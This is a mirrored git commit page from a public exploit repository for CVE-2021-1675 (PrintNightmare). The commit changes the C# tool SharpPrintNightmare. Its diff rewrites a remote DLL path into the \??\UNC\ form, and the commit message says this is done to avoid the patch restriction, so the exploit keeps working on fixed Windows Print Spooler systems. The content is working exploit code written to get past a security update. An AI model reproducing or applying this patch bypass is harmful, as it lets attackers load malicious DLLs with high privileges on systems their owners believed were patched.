mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2025-07-06 01:41:12 +01:00
updated with \??\UNC\ path to avoid patch restriction
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
parent
18fde4bfec
commit
640d1984cd
4 changed files with 67 additions and 38 deletions
|
@ -68,6 +68,10 @@ namespace SharpPrintNightmare
|
|||
Environment.Exit(0);
|
||||
}
|
||||
dllpath = args[0];
|
||||
if (dllpath.Contains("\\\\"))
|
||||
{
|
||||
dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\");
|
||||
}
|
||||
|
||||
if (args.Length > 2)
|
||||
{
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue